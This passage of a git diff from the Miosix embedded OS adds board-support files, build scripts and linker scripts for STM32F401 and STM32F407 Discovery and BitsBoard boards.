CMakeLists.txt for board stm32f401vc_stm32f4discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F401VC_STM32F4DISCOVERY) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F401VC_STM32F4DISCOVERY) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/Makefile.inc b/miosix/arch/board/stm32f401vc_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..fc03a045e --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32f401vc_stm32f4discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F401VC_STM32F4DISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32F401VC_STM32F4DISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/boot.cpp b/miosix/arch/board/stm32f401vc_stm32f4discovery/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..4170c062d --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F401xC +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f401 RCC synchronization is required per the device errata +//(ES0222 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 84, so there are 85 +#define MIOSIX_NUM_PERIPHERAL_IRQ 85 diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..f550ee73c --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,136 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico and Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +typedef Gpio cs43l22reset; + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + // On stm32f4discovery some of the SDIO pins conflict with the + // audio output chip, so keep it permanently reset to avoid issues + cs43l22reset::mode(Mode::OUTPUT); + cs43l22reset::low(); + // Initialize default serial + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..a83235532 --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * D0 : PC8 + * D1 : PC9 + * D2 : PC10 (conflicts with CS43L22 SCK) + * D3 : PC11 + * CLK : PC12 (conflicts with CS43L22 SDIN) + * CMD : PD2 + * + * The conflicts mean that it's not possible to use both the SD card and + * the audio playback feature on this board. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/stm32f4discovery.cfg b/miosix/arch/board/stm32f401vc_stm32f4discovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/stm32f4discovery.cfg rename to miosix/arch/board/stm32f401vc_stm32f4discovery/openocd.cfg diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/processes.ld b/miosix/arch/board/stm32f401vc_stm32f4discovery/processes.ld new file mode 100644 index 000000000..64d512bcd --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f401 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 32K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/unikernel.ld b/miosix/arch/board/stm32f401vc_stm32f4discovery/unikernel.ld new file mode 100644 index 000000000..2c314f105 --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f401 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f407vg_bitsboard/CMakeLists.txt b/miosix/arch/board/stm32f407vg_bitsboard/CMakeLists.txt new file mode 100644 index 000000000..8bba82953 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f407vg_bitsboard +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_BITSBOARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_BITSBOARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000make) diff --git a/miosix/arch/board/stm32f407vg_bitsboard/Makefile.inc b/miosix/arch/board/stm32f407vg_bitsboard/Makefile.inc new file mode 100644 index 000000000..72466abf0 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f407vg_bitsboard +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_BITSBOARD +BOARD_CXXFLAGS := -D_BOARD_BITSBOARD + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000make diff --git a/miosix/arch/board/stm32f407vg_bitsboard/boot.cpp b/miosix/arch/board/stm32f407vg_bitsboard/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f21b91147 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F407xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f405,f407,f415,f417 RCC synchronization is required per the +//device errata (ES0182 section 2.2.13). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..61c5598bc --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp @@ -0,0 +1,133 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + //The display could be damaged if left on but without refreshing it + typedef Gpio dispoff;//DISPOFF signal to display + dispoff::high(); + + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..bcc97f095 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * D0 : PC8 + * D1 : PC9 + * D2 : PC10 (conflicts with CS43L22 SCK) + * D3 : PC11 + * CLK : PC12 (conflicts with CS43L22 SDIN) + * CMD : PD2 + * + * The conflicts mean that it's not possible to use both the SD card and + * the audio playback feature on this board. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/bitsboard.cfg b/miosix/arch/board/stm32f407vg_bitsboard/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/bitsboard.cfg rename to miosix/arch/board/stm32f407vg_bitsboard/openocd.cfg diff --git a/miosix/arch/board/stm32f407vg_bitsboard/unikernel.ld b/miosix/arch/board/stm32f407vg_bitsboard/unikernel.ld new file mode 100644 index 000000000..74f6b7fee --- /dev/null +++ b/miosix/arch/board/stm32f407vg_bitsboard/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f407 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/CMakeLists.txt b/miosix/arch/board/stm32f407vg_stm32f4discovery/CMakeLists.txt new file mode 100644 index 000000000..2bf94c227 --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/CMakeLists.txt @@ -0,0 +1,38 @@ +## +## CMakeLists.txt for board stm32f407vg_stm32f4discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_servo.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f407_rtc.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/sleep.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F4DISCOVERY) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F4DISCOVERY) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/Makefile.inc b/miosix/arch/board/stm32f407vg_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..831cc651b --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/Makefile.inc @@ -0,0 +1,31 @@ +## +## Makefile for board stm32f407vg_stm32f4discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +arch/drivers/stm32_servo.cpp \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32f407_rtc.cpp \ +$(BOARD_INC)/interfaces-impl/sleep.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F4DISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32F4DISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f407vg_stm32f4discovery/boot.cpp b/miosix/arch/board/stm32f407vg_stm32f4discovery/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f407vg_stm32f4discovery/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be 